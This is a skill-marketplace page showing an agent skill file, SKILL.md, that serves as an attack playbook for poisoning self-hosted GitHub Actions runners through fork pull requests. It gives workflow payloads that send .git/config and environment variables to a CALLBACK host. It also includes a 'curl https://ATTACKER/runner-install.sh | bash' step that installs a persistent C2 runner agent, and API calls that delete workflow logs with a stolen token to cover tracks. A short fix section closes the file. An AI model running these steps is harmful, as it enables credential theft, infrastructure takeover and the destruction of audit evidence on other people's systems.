본문으로 건너뛰기
cccskills
무료GitHub에 공개

self-hosted-runner-poisoning

Use when hunting self-hosted GitHub Actions runner vulnerabilities where fork pull requests can execute on privileged non-ephemeral runners. Trigger on: "self-hosted runner", "runs-on self-hosted", "fork PR workflow", "non-ephemeral runner", "first-time contributor approval", "runner images", "azure-builds runner", "outside collaborator approval", "runs-on matrix", "persistent runner", "Gato GitHub Attack Toolkit", "runner agent", self-hosted CI/CD runner abuse, "git config token", "workflow log deletion", runner C2.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

연동 도구GitHubAzure
설치 방법 보기

포함된 파일(1)

  • SKILL.md8.9 KB

SKILL.md(원문)

설치하기 전에 에이전트에게 전달되는 지시 내용을 확인할 수 있습니다.

Self-Hosted Runner Poisoning

What Is Broken and Why

GitHub-hosted runners are ephemeral and isolated. Self-hosted runners are not — they persist between runs, share state, and often carry long-lived credentials baked into the environment. When a repository allows fork pull requests to run on self-hosted runners (especially with the default "Require approval for first-time contributors" setting), an attacker who has made even one accepted contribution can submit a PR that modifies the workflow's runs-on field to target a privileged self-hosted runner and execute arbitrary code on it. Non-ephemeral runners retain their working directory, installed tooling, and cached credentials across runs — making them ideal for persistence and lateral movement into the broader infrastructure.

Key Signals

  • runs-on: self-hosted or named runner labels (azure-builds, macos-vmware, [self-hosted, linux]) in workflow files
  • Repository setting: "Require approval for first-time contributors" (default) rather than "Require approval for all outside collaborators"
  • Fork PR workflows that use a matrix.os or matrix.runner whose values the PR author can influence
  • Non-ephemeral runner: runner directory persists, processes survive between runs
  • Workflow checks out code without persist-credentials: false → .git/config contains embedded GITHUB_TOKEN
  • runs-on field uses an expression: runs-on: ${{ matrix.os }} or runs-on: ${{ inputs.runner }}
  • Secrets or cloud credentials (AWS_*, AZURE_*, vCenter creds) available in runner environment
  • Repository contains build infrastructure workflows (Packer, Terraform, image builds)

Methodology

  1. Identify repositories using self-hosted runners:
    gato enumerate --target ORG --type org
    # or manually:
    grep -rn 'self-hosted\|runs-on:' .github/workflows/ | grep -v 'ubuntu-latest\|windows-latest\|macos-latest'
    
  2. Check the fork PR approval policy: Settings → Actions → Fork pull request workflows. "Require approval for first-time contributors" = vulnerable after one merged PR.
  3. Check if runs-on uses a matrix or expression that a PR author can modify.
  4. Submit one legitimate PR (typo fix, docs update) to gain "not first-time contributor" status.
  5. In a second PR, modify the workflow to:
    • Change runs-on to target a self-hosted runner label
    • Replace or append a malicious step to the workflow
  6. Confirm code execution via OOB callback.
  7. From runner context: extract .git/config for GITHUB_TOKEN, enumerate environment variables, access credential stores.
  8. Optionally install persistent runner agent for long-term access.
  9. Cover tracks: delete workflow run logs via API using stolen token.

Payloads & Tools

# Gato: enumerate org for self-hosted runner exposure
gato enumerate --target ORG --type org --output results.json
gato attack --target REPO --self-hosted

# Modify runs-on in workflow PR to target self-hosted runner
# Change in linter.yml or any triggered workflow:
-    runs-on: ubuntu-latest
+    runs-on: ${{ matrix.os }}
+    strategy:
+      matrix:
+        os: [self-hosted-runner-label]
# Malicious step payload — extract token from .git/config
- name: exfil
  run: |
    cat .git/config | base64 | curl -d @- https://CALLBACK
    printenv | curl -d @- https://CALLBACK

# Install persistent runner agent (C2)
- name: persist
  run: |
    curl -sSfL https://ATTACKER/runner-install.sh | bash
    # Registers new runner connected to attacker's private repo
    # Runs as background process, survives workflow completion
# Delete workflow run logs to remove evidence (using stolen GITHUB_TOKEN)
curl -L -X DELETE \
  -H "Authorization: Bearer STOLEN_TOKEN" \
  https://api.github.com/repos/ORG/REPO/actions/runs/RUN_ID

# List recent runs to find IDs to delete
gh api repos/ORG/REPO/actions/runs --jq '.workflow_runs[].id'

Bypass Techniques

  • First-time contributor bypass: submit one benign PR (typo, docs) to transition from "first-time contributor" to "returning contributor" — subsequent PRs skip approval
  • Matrix expression hijack: if runs-on: ${{ matrix.os }} and matrix is defined in a file the PR modifies, attacker controls the runner label
  • Workflow file in subdirectory: some repos call reusable workflows stored in subdirectories; a PR modifying those files can alter runs-on indirectly
  • Composite action replacement: replace a composite action called by the workflow with malicious steps — runs-on is inherited from the calling workflow
  • Non-ephemeral state abuse: if runner is not ephemeral, artifacts from previous runs (cached tokens, SSH keys, build outputs) may be accessible in the working directory without needing fresh exfiltration
  • persist-credentials: true (default): actions/checkout embeds GITHUB_TOKEN in .git/config — readable by any subsequent step

Exploitation Scenarios

Scenario 1 — Infrastructure takeover via image build runner Setup: Repository builds VM/container images using self-hosted runners with vCenter/Azure credentials. Fork PR approval requires only first-time contributor check. Trigger: Attacker merges one typo-fix PR, then submits second PR modifying runs-on to target the build runner. Impact: Runner environment yields vCenter admin credentials, Azure storage keys, SSH keys. Attacker can poison all future runner images deployed globally.

Scenario 2 — Persistent C2 via runner agent Setup: Self-hosted runner is non-ephemeral (shared VM, no cleanup between runs). Trigger: Malicious PR step installs a secondary GitHub Actions runner agent registered to attacker's private repo. Impact: Attacker maintains persistent access to the runner machine — survives PR close, branch delete, and log wipe. Can re-trigger at will via private repo workflows.

Scenario 3 — Token theft + log deletion Setup: Workflow uses default actions/checkout (persist-credentials: true). Trigger: Malicious step reads .git/config, exfiltrates GITHUB_TOKEN with write permissions. Impact: Attacker uses stolen token to push to protected branches, create releases, delete evidence (workflow logs deleted via API), and enumerate other secrets before token expires.

False Positives

  • Self-hosted runners in a repo where fork PRs are fully disabled
  • Approval policy set to "Require approval for all outside collaborators" — attacker's PR never runs
  • Runner IS ephemeral (fresh VM per job) — persistence techniques don't apply, but token exfiltration still works
  • runs-on hardcoded (not an expression) — attacker cannot redirect to a different runner label via PR

Fix Patterns

# WRONG: runs-on from matrix that PR author controls
runs-on: ${{ matrix.os }}

# CORRECT: hardcode runner label, don't expose it as a modifiable value
runs-on: ubuntu-latest
# or for self-hosted, use a fixed label not exposed in PR-modifiable files:
runs-on: [self-hosted, linux, internal]
# WRONG: default persist-credentials embeds token in .git/config
- uses: actions/checkout@v4

# CORRECT: don't persist credentials when not needed
- uses: actions/checkout@v4
  with:
    persist-credentials: false
  • Change fork PR approval to "Require approval for all outside collaborators" (not just first-time)
  • Use ephemeral runners (fresh VM per job) — eliminates persistence and state leakage
  • Restrict self-hosted runners to internal workflows only; never allow fork PRs to target them
  • Audit runner labels in all workflow files; alert on PRs that modify runs-on values
  • Rotate all credentials accessible from runner environments regularly

Related Skills

[[pwn-request]] is the most common trigger path that lands code on a self-hosted runner — a pull_request_target workflow that checks out PR code and runs it on a persistent self-hosted runner is the textbook combination. From there, [[github-actions-script-injection]] payloads can run to exfiltrate long-lived credentials stored in the runner environment. Once persistent access is established, [[github-actions-cache-poisoning]] can be executed from the compromised runner to poison downstream privileged workflows without requiring another PR.

리뷰

아직 리뷰가 없습니다. 사용해 본 소감을 남겨 주세요.

댓글

로그인 없이 쓸 수 있습니다. 사용 후기, 질문, 작동하지 않은 환경 등을 편하게 남겨 주세요.

아직 댓글이 없습니다. 첫 댓글을 남겨 보세요.

보내면 바로 공개됩니다. 이메일 주소나 전화번호 같은 개인 정보는 쓰지 마세요. URL은 2개까지입니다.

0 / 1,000자

이 양식은 reCAPTCHA로 보호되며 Google 개인정보처리방침 및 서비스 약관이 적용됩니다.

같은 저장소의 스킬

Exploit pervasive logical flaws in Multi-Factor Authentication (MFA/2FA) implementations to bypass the secondary authentication challenge entirely. Techniques include response manipulation, referal spoofing, token reuse, and predictable backup codes.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP method tampering, header injection, protocol downgrade, and automated bypass tools.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS reading, GPO abuse, and BloodHound-guided attack paths.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

Execute AS-REP Roasting to extract and crack the NTLM hashes of Active Directory user accounts that have the "Do not require Kerberos preauthentication" flag explicitly enabled. This attack generates a recoverable Ticket Granting Ticket (TGT) without requiring the attacker to authenticate first.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.

한국어 요약은 준비 중입니다. 원문 설명을 표시하고 있습니다.

ShulkwiSEC/bb-huge232026년 7월 11일 업데이트

ShulkwiSEC의 스킬 모두 보기

이 스킬의 문제 신고